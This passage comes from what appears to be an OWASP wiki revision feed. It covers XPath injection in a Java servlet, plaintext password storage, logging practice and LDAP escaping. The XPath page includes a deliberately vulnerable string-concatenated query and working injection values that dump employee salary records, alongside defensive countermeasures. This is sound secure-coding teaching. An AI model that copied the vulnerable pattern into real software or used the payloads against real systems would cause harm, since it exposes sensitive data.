&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;employees&amp;gt;&lt;br /&gt;
  &amp;lt;employee id=&amp;quot;AS789&amp;quot; firstname=&amp;quot;John&amp;quot; lastname=&amp;quot;Doo&amp;quot; annualsalary=&amp;quot;70000&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;employee id=&amp;quot;AS719&amp;quot; firstname=&amp;quot;Isabela&amp;quot; lastname=&amp;quot;Dobora&amp;quot; annualsalary=&amp;quot;90000&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;employee id=&amp;quot;AS219&amp;quot; firstname=&amp;quot;Eric&amp;quot; lastname=&amp;quot;Lambert&amp;quot; annualsalary=&amp;quot;65000&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/employees&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The XPATH expression to select an employee node used by application is:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/employees/employee[@id='EMPLOYEE_ID']&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The code (JavaEE6 Servlet for example) used to perform selection is:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package org.owasp.javaproject.xpathinjection;&lt;br /&gt;
&lt;br /&gt;
import java.io.IOException;&lt;br /&gt;
import java.io.StringReader;&lt;br /&gt;
import java.util.List;&lt;br /&gt;
&lt;br /&gt;
import javax.servlet.ServletException;&lt;br /&gt;
import javax.servlet.annotation.WebServlet;&lt;br /&gt;
import javax.servlet.http.HttpServlet;&lt;br /&gt;
import javax.servlet.http.HttpServletRequest;&lt;br /&gt;
import javax.servlet.http.HttpServletResponse;&lt;br /&gt;
import javax.xml.parsers.DocumentBuilder;&lt;br /&gt;
import javax.xml.parsers.DocumentBuilderFactory;&lt;br /&gt;
&lt;br /&gt;
import org.jaxen.XPath;&lt;br /&gt;
import org.jaxen.dom.DOMXPath;&lt;br /&gt;
import org.w3c.dom.Document;&lt;br /&gt;
import org.w3c.dom.Element;&lt;br /&gt;
import org.xml.sax.InputSource;&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * Sample service to retrieve employees salary&lt;br /&gt;
 */&lt;br /&gt;
@SuppressWarnings(&amp;quot;serial&amp;quot;)&lt;br /&gt;
@WebServlet(&amp;quot;/EmployeesSalaryService&amp;quot;)&lt;br /&gt;
public class EmployeesSalaryService extends HttpServlet {&lt;br /&gt;
&lt;br /&gt;
	private static final String DATASOURCE_XML = &amp;quot;Put XML Structure above here&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * {@inheritDoc}&lt;br /&gt;
	 * &lt;br /&gt;
	 * @see javax.servlet.http.HttpServlet#doGet(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)&lt;br /&gt;
	 */&lt;br /&gt;
	@SuppressWarnings(&amp;quot;rawtypes&amp;quot;)&lt;br /&gt;
	@Override&lt;br /&gt;
	protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {&lt;br /&gt;
		try {&lt;br /&gt;
			// For the sample we load the XML Document at each request but this not a good way for real application.....&lt;br /&gt;
			DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();&lt;br /&gt;
			DocumentBuilder builder = factory.newDocumentBuilder();&lt;br /&gt;
			Document doc = builder.parse(new InputSource(new StringReader(DATASOURCE_XML)));&lt;br /&gt;
&lt;br /&gt;
			// Retrieve employee ID from the input HTTP request&lt;br /&gt;
			String eID = request.getParameter(&amp;quot;employeeID&amp;quot;);&lt;br /&gt;
			if (eID == null) {&lt;br /&gt;
				eID = &amp;quot;&amp;quot;;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			// Create XPATH expression&lt;br /&gt;
			String xpathExpr = &amp;quot;/employees/employee[@id='&amp;quot; + eID + &amp;quot;']&amp;quot;;&lt;br /&gt;
			XPath expression = new DOMXPath(xpathExpr);&lt;br /&gt;
&lt;br /&gt;
			// Apply expression on XML document&lt;br /&gt;
			List nodes = expression.selectNodes(doc);&lt;br /&gt;
			for (int i = 0; i &amp;lt; nodes.size(); i++) {&lt;br /&gt;
				Element employee = (Element) nodes.get(i);&lt;br /&gt;
				response.getWriter().print(employee.getAttribute(&amp;quot;lastname&amp;quot;) &lt;br /&gt;
				+ &amp;quot; &amp;quot; &lt;br /&gt;
				+ employee.getAttribute(&amp;quot;firstname&amp;quot;) &lt;br /&gt;
				+ &amp;quot; : &amp;quot; &lt;br /&gt;
				+ employee.getAttribute(&amp;quot;annualsalary&amp;quot;) &lt;br /&gt;
				+ &amp;quot;&amp;lt;br&amp;gt;&amp;quot;);&lt;br /&gt;
			}&lt;br /&gt;
		} catch (Exception e) {&lt;br /&gt;
			response.sendError(HttpServletResponse.SC_BAD_REQUEST);&lt;br /&gt;
			e.printStackTrace();&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here the sensitive information is the annual salary then it's will be the target of the injection. &lt;br /&gt;
&lt;br /&gt;
The application expect to receive, for the employee ID, an value like &amp;quot;AS789&amp;quot; but what is the application behavior if a user submit another value pattern ?&lt;br /&gt;
&lt;br /&gt;
Sample value n°1:&lt;br /&gt;
&amp;lt;pre&amp;gt;'%20or%20'1'='1&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result''':&lt;br /&gt;
All employees nodes are selected (in this case the user do not known the XML structure).&lt;br /&gt;
&lt;br /&gt;
[[File:XPATHInjection01.png]]&lt;br /&gt;
&lt;br /&gt;
Sample value n°2:&lt;br /&gt;
&amp;lt;pre&amp;gt;'%20or%20fn:contains(fn:lower-case(@lastname),'dobora')%20or%20'&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result''':&lt;br /&gt;
Employee where the last name contains &amp;quot;dobora&amp;quot; is selected (in this case the user has guessed the XML structure).&lt;br /&gt;
&lt;br /&gt;
[[File:XPATHInjection02.png]]&lt;br /&gt;
&lt;br /&gt;
== Injection countermeasure n°1 ==&lt;br /&gt;
Input used into an XPATH expression must not contains any of the characters below:&lt;br /&gt;
&amp;lt;pre&amp;gt;( ) = ' [ ] : , * / WHITESPACE&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
According to our example context, the modification to apply could be to create an application transversal utility method checking the presence of characters above and rejecting the value submitted if it's contains any one.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Checking utility method example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
public boolean checkValueForXpathInjection(String value) throws Exception {&lt;br /&gt;
	boolean isValid = true;&lt;br /&gt;
	if ((value != null) &amp;amp;&amp;amp; !&amp;quot;&amp;quot;.equals(value)) {&lt;br /&gt;
		String xpathCharList = &amp;quot;()='[]:,*/ &amp;quot;;&lt;br /&gt;
		// Always to avoid encoding evading....&lt;br /&gt;
		String decodedValue = URLDecoder.decode(value, Charset.defaultCharset().name());&lt;br /&gt;
		for (char c : decodedValue.toCharArray()) {&lt;br /&gt;
			if (xpathCharList.indexOf(c) != -1) {&lt;br /&gt;
				isValid = false;&lt;br /&gt;
				break;&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return isValid;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Checking utility use example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/**&lt;br /&gt;
 * {@inheritDoc}&lt;br /&gt;
 * &lt;br /&gt;
 * @see javax.servlet.http.HttpServlet#doGet(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)&lt;br /&gt;
 */&lt;br /&gt;
@SuppressWarnings(&amp;quot;rawtypes&amp;quot;)&lt;br /&gt;
@Override&lt;br /&gt;
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {&lt;br /&gt;
	try {&lt;br /&gt;
&lt;br /&gt;
		// Check input&lt;br /&gt;
		if (!checkValueForXpathInjection(request.getParameter(&amp;quot;employeeID&amp;quot;))) {&lt;br /&gt;
			response.sendError(HttpServletResponse.SC_BAD_REQUEST);&lt;br /&gt;
			// Trace injection&lt;br /&gt;
			// Exit&lt;br /&gt;
			return;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		.....&lt;br /&gt;
&lt;br /&gt;
		}&lt;br /&gt;
	} catch (Exception e) {&lt;br /&gt;
		response.sendError(HttpServletResponse.SC_BAD_REQUEST);&lt;br /&gt;
		e.printStackTrace();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Injection countermeasure n°2 ==&lt;br /&gt;
Using variable into XPATH expression with a variable resolver enabled evaluator can help to prevent injections (like prepared statement for SQL injection).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of variable resolver:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package org.owasp.javaproject.xpathinjection;&lt;br /&gt;
&lt;br /&gt;
import java.util.HashMap;&lt;br /&gt;
import java.util.Map;&lt;br /&gt;
&lt;br /&gt;
import javax.xml.namespace.QName;&lt;br /&gt;
import javax.xml.xpath.XPathVariableResolver;&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * Resolver in order to define parameter for XPATH expression.&lt;br /&gt;
 * &lt;br /&gt;
 */&lt;br /&gt;
@SuppressWarnings(&amp;quot;static-method&amp;quot;)&lt;br /&gt;
public class SimpleVariableResolver implements XPathVariableResolver {&lt;br /&gt;
&lt;br /&gt;
	private final Map&amp;lt;QName, Object&amp;gt; vars = new HashMap&amp;lt;QName, Object&amp;gt;();&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * External methods to add parameter&lt;br /&gt;
	 * &lt;br /&gt;
	 * @param name Parameter name&lt;br /&gt;
	 * @param value Parameter value&lt;br /&gt;
	 */&lt;br /&gt;
	public void addVariable(QName name, Object value) {&lt;br /&gt;
		vars.put(name, value);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * {@inheritDoc}&lt;br /&gt;
	 * &lt;br /&gt;
	 * @see javax.xml.xpath.XPathVariableResolver#resolveVariable(javax.xml.namespace.QName)&lt;br /&gt;
	 */&lt;br /&gt;
	@Override&lt;br /&gt;
	public Object resolveVariable(QName variableName) {&lt;br /&gt;
		return vars.get(variableName);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example of use of the variable resolver:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/**&lt;br /&gt;
 * {@inheritDoc}&lt;br /&gt;
 * &lt;br /&gt;
 * @see javax.servlet.http.HttpServlet#doGet(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)&lt;br /&gt;
 */&lt;br /&gt;
@Override&lt;br /&gt;
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {&lt;br /&gt;
	try {&lt;br /&gt;
&lt;br /&gt;
		// For the sample we load the XML Document at each request but &lt;br /&gt;
                //this not a good way for real application.....&lt;br /&gt;
		DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();&lt;br /&gt;
		DocumentBuilder builder = factory.newDocumentBuilder();&lt;br /&gt;
		Document doc = builder.parse(new InputSource(new StringReader(DATASOURCE_XML)));&lt;br /&gt;
&lt;br /&gt;
		// Retrieve employee ID from the input HTTP request&lt;br /&gt;
		String eID = request.getParameter(&amp;quot;employeeID&amp;quot;);&lt;br /&gt;
		if (eID == null) {&lt;br /&gt;
			eID = &amp;quot;&amp;quot;;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		// Create and configure parameter resolver&lt;br /&gt;
		SimpleVariableResolver variableResolver = new SimpleVariableResolver();&lt;br /&gt;
		variableResolver.addVariable(new QName(&amp;quot;eID&amp;quot;), eID);&lt;br /&gt;
&lt;br /&gt;
		// Create and configure XPATH expression&lt;br /&gt;
		XPath xpath = XPathFactory.newInstance().newXPath();&lt;br /&gt;
		xpath.setXPathVariableResolver(variableResolver);&lt;br /&gt;
		XPathExpression xPathExpression = xpath.compile(&amp;quot;/employees/employee[@id=$eID]&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
		// Apply expression on XML document&lt;br /&gt;
		Object nodes = xPathExpression.evaluate(doc, XPathConstants.NODESET);&lt;br /&gt;
		NodeList nodesList = (NodeList) nodes;&lt;br /&gt;
		for (int i = 0; i &amp;lt; nodesList.getLength(); i++) {&lt;br /&gt;
			Element employee = (Element) nodesList.item(i);&lt;br /&gt;
			response.getWriter().print(employee.getAttribute(&amp;quot;lastname&amp;quot;) &lt;br /&gt;
                        + &amp;quot; &amp;quot; + employee.getAttribute(&amp;quot;firstname&amp;quot;) + &amp;quot; : &amp;quot; &lt;br /&gt;
                        + employee.getAttribute(&amp;quot;annualsalary&amp;quot;) + &amp;quot;&amp;lt;br&amp;gt;&amp;quot;);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	catch (Exception e) {&lt;br /&gt;
		response.sendError(HttpServletResponse.SC_BAD_REQUEST);&lt;br /&gt;
		e.printStackTrace();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Injection Attack]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Password_Plaintext_Storage&amp;diff=235293</id>
		<title>Password Plaintext Storage</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Password_Plaintext_Storage&amp;diff=235293"/>
				<updated>2017-11-10T21:49:53Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Storing a password in plaintext may result in a system compromise.&lt;br /&gt;
&lt;br /&gt;
Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password.&lt;br /&gt;
&lt;br /&gt;
Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource. Developers sometimes believe that they cannot defend the application from someone who has access to the configuration, but this attitude makes an attacker's job easier. Good password management guidelines require that a password never be stored in plaintext.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The following code reads a password from a properties file and uses the password to connect to a database.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	...&lt;br /&gt;
	Properties prop = new Properties();&lt;br /&gt;
	prop.load(new FileInputStream(&amp;quot;config.properties&amp;quot;));&lt;br /&gt;
	String password = prop.getProperty(&amp;quot;password&amp;quot;);&lt;br /&gt;
	&lt;br /&gt;
	DriverManager.getConnection(url, usr, password);&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Attack 1]]&lt;br /&gt;
* [[Attack 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[Password Management Countermeasure]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|add links&lt;br /&gt;
&lt;br /&gt;
In addition, one should classify vulnerability based on the following subcategories: Ex:&amp;lt;nowiki&amp;gt;[[Category:Error Handling Vulnerability]]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Availability Vulnerability&lt;br /&gt;
&lt;br /&gt;
Authorization Vulnerability&lt;br /&gt;
&lt;br /&gt;
Authentication Vulnerability&lt;br /&gt;
&lt;br /&gt;
Concurrency Vulnerability&lt;br /&gt;
&lt;br /&gt;
Configuration Vulnerability&lt;br /&gt;
&lt;br /&gt;
Cryptographic Vulnerability&lt;br /&gt;
&lt;br /&gt;
Encoding Vulnerability&lt;br /&gt;
&lt;br /&gt;
Error Handling Vulnerability&lt;br /&gt;
&lt;br /&gt;
Input Validation Vulnerability&lt;br /&gt;
&lt;br /&gt;
Logging and Auditing Vulnerability&lt;br /&gt;
&lt;br /&gt;
Session Management Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Sensitive Data Protection Vulnerability]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Password Management Vulnerability]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Poor_Logging_Practice&amp;diff=235292</id>
		<title>Poor Logging Practice</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Poor_Logging_Practice&amp;diff=235292"/>
				<updated>2017-11-10T21:49:20Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
===Logger Not Declared Static Final===&lt;br /&gt;
Loggers should be declared to be static and final.&lt;br /&gt;
&lt;br /&gt;
It is good programming practice to share a single logger object between all of the instances of a particular class and to use the same logger for the duration of the program.&lt;br /&gt;
&lt;br /&gt;
The following statement errantly declares a non-static logger.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	private final Logger logger =     &lt;br /&gt;
				Logger.getLogger(MyClass.class);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Poor Logging Practice: Multiple Loggers===&lt;br /&gt;
It is a poor logging practice to use multiple loggers rather than logging levels in a single class.&lt;br /&gt;
&lt;br /&gt;
Good logging practice dictates the use of a single logger that supports different logging levels for each class.&lt;br /&gt;
&lt;br /&gt;
The following code errantly declares multiple loggers.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	public class MyClass {&lt;br /&gt;
	  private final static Logger good =     &lt;br /&gt;
				Logger.getLogger(MyClass.class);&lt;br /&gt;
	  private final static Logger bad =     &lt;br /&gt;
				Logger.getLogger(MyClass.class);&lt;br /&gt;
	  private final static Logger ugly =     &lt;br /&gt;
				Logger.getLogger(MyClass.class);&lt;br /&gt;
	  ...&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Use of a System Output Stream===&lt;br /&gt;
Using System.out or System.err rather than a dedicated logging facility makes it difficult to monitor the behavior of the program. It can also cause log messages accidentally returned to the end users, revealing internal information to attackers.&lt;br /&gt;
&lt;br /&gt;
The first Java program that a developer learns to write often looks like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	public class MyClass &lt;br /&gt;
	  public static void main(String[] args) {&lt;br /&gt;
		System.out.println(&amp;quot;hello world&amp;quot;);&lt;br /&gt;
	  }&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
While most programmers go on to learn many nuances and subtleties about Java, a surprising number hang on to this first lesson and never give up on writing messages to standard output using System.out.println().&lt;br /&gt;
&lt;br /&gt;
The problem is that writing directly to standard output or standard error is often used as an unstructured form of logging. Structured logging facilities provide features like logging levels, uniform formatting, a logger identifier, timestamps, and, perhaps most critically, the ability to direct the log messages to the right place. When the use of system output streams is jumbled together with the code that uses loggers properly, the result is often a well-kept log that is missing critical information. In addition, using system output streams can also cause log messages accidentally returned to end users, revealing application internal information to attackers.&lt;br /&gt;
&lt;br /&gt;
Developers widely accept the need for structured logging, but many continue to use system output streams in their &amp;quot;pre-production&amp;quot; development. If the code you are reviewing is past the initial phases of development, use of System.out or System.err may indicate an oversight in the move to a structured logging system.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Attack 1]]&lt;br /&gt;
* [[Attack 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[Control 1]]&lt;br /&gt;
* [[Control 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
Note: A reference to related [http://cwe.mitre.org/ CWE] or [http://capec.mitre.org/ CAPEC] article should be added when exists. Eg:&lt;br /&gt;
&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/79.html CWE 79].&lt;br /&gt;
* http://www.link1.com&lt;br /&gt;
* [http://www.link2.com Title for the link2]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Code Quality Vulnerability]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Implementation]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Logging and Auditing Vulnerability]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Preventing_LDAP_Injection_in_Java&amp;diff=235291</id>
		<title>Preventing LDAP Injection in Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Preventing_LDAP_Injection_in_Java&amp;diff=235291"/>
				<updated>2017-11-10T21:48:52Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{taggedDocument&lt;br /&gt;
| type=old&lt;br /&gt;
| lastRevision=2008-03-01&lt;br /&gt;
| comment=Please visit https://www.owasp.org/index.php/LDAP_Injection_Prevention_Cheat_Sheet&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
==Approach==&lt;br /&gt;
The best way to prevent LDAP injection is to use a positive validation scheme for ensuring that the data going into your queries doesn't contain any attacks. You can read more in [[:Category:OWASP Guide Project|the OWASP Development Guide]] about input validation.&lt;br /&gt;
&lt;br /&gt;
However, in some cases, it is necessary to include special characters in input that is passed into an LDAP query.  In this case, using escaping can prevent the LDAP interpreter from thinking those special characters are actually LDAP query.  Rather, the encoding lets the interpreter treat those special characters as data.&lt;br /&gt;
&lt;br /&gt;
Here are a few methods for escaping certain meta-characters in LDAP queries. Both the distinguished name (DN) and the search filter have their own sets of meta-characters.  In the case of Java, it is also necessary to escape any JNDI meta-characters, since java uses JNDI to perform LDAP queries.&lt;br /&gt;
&lt;br /&gt;
    public static String escapeDN(String name) {&lt;br /&gt;
        StringBuffer sb = new StringBuffer(); // If using JDK &amp;gt;= 1.5 consider using StringBuilder&lt;br /&gt;
        if ((name.length() &amp;gt; 0) &amp;amp;&amp;amp; ((name.charAt(0) == ' ') || (name.charAt(0) == '#'))) {&lt;br /&gt;
            sb.append('\\'); // add the leading backslash if needed&lt;br /&gt;
        }&lt;br /&gt;
        for (int i = 0; i &amp;lt; name.length(); i++) {&lt;br /&gt;
            char curChar = name.charAt(i);&lt;br /&gt;
            switch (curChar) {&lt;br /&gt;
                case '\\':&lt;br /&gt;
                    sb.append(&amp;quot;\\\\&amp;quot;);&lt;br /&gt;
                    break;&lt;br /&gt;
                case ',':&lt;br /&gt;
                    sb.append(&amp;quot;\\,&amp;quot;);&lt;br /&gt;
                    break;&lt;br /&gt;
                case '+':&lt;br /&gt;
                    sb.append(&amp;quot;\\+&amp;quot;);&lt;br /&gt;
                    break;&lt;br /&gt;
                case '&amp;quot;':&lt;br /&gt;
                    sb.append(&amp;quot;\\\&amp;quot;&amp;quot;);&lt;br /&gt;
                    break;&lt;br /&gt;
                case '&amp;lt;':&lt;br /&gt;
                    sb.append(&amp;quot;\\&amp;lt;&amp;quot;);&lt;br /&gt;
                    break;&lt;br /&gt;
                case '&amp;gt;':&lt;br /&gt;
                    sb.append(&amp;quot;\\&amp;gt;&amp;quot;);&lt;br /&gt;
                    break;&lt;br /&gt;
                case ';':&lt;br /&gt;
                    sb.append(&amp;quot;\\;&amp;quot;);&lt;br /&gt;
                    break;&lt;br /&gt;
                default:&lt;br /&gt;
                    sb.append(curChar);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        if ((name.length() &amp;gt; 1) &amp;amp;&amp;amp; (name.charAt(name.length() - 1) == ' ')) {&lt;br /&gt;
            sb.insert(sb.length() - 1, '\\'); // add the trailing backslash if needed&lt;br /&gt;
        }&lt;br /&gt;
        return sb.toString();&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Escaping the search filter:&lt;br /&gt;
&lt;br /&gt;
    public static final String escapeLDAPSearchFilter(String filter) {&lt;br /&gt;
        StringBuffer sb = new StringBuffer(); // If using JDK &amp;gt;= 1.5 consider using StringBuilder&lt;br /&gt;
        for (int i = 0; i &amp;lt; filter.length(); i++) {&lt;br /&gt;
            char curChar = filter.charAt(i);&lt;br /&gt;
            switch (curChar) {&lt;br /&gt;
                case '\\':&lt;br /&gt;
                    sb.append(&amp;quot;\\5c&amp;quot;);&lt;br /&gt;
                    break;&lt;br /&gt;
                case '*':&lt;br /&gt;
                    sb.append(&amp;quot;\\2a&amp;quot;);&lt;br /&gt;
                    break;&lt;br /&gt;
                case '(':&lt;br /&gt;
                    sb.append(&amp;quot;\\28&amp;quot;);&lt;br /&gt;
                    break;&lt;br /&gt;
                case ')':&lt;br /&gt;
                    sb.append(&amp;quot;\\29&amp;quot;);&lt;br /&gt;
                    break;&lt;br /&gt;
                case '\u0000': &lt;br /&gt;
                    sb.append(&amp;quot;\\00&amp;quot;); &lt;br /&gt;
                    break;&lt;br /&gt;
                default:&lt;br /&gt;
                    sb.append(curChar);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        return sb.toString();&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Test class:&lt;br /&gt;
&lt;br /&gt;
        //escapeDN&lt;br /&gt;
        assertEquals(&amp;quot;No special characters to escape&amp;quot;, &amp;quot;Helloé&amp;quot;, escapeDN(&amp;quot;Helloé&amp;quot;));&lt;br /&gt;
        assertEquals(&amp;quot;leading #&amp;quot;, &amp;quot;\\# Helloé&amp;quot;, escapeDN(&amp;quot;# Helloé&amp;quot;));&lt;br /&gt;
        assertEquals(&amp;quot;leading space&amp;quot;, &amp;quot;\\ Helloé&amp;quot;, escapeDN(&amp;quot; Helloé&amp;quot;));&lt;br /&gt;
        assertEquals(&amp;quot;trailing space&amp;quot;, &amp;quot;Helloé\\ &amp;quot;, escapeDN(&amp;quot;Helloé &amp;quot;));&lt;br /&gt;
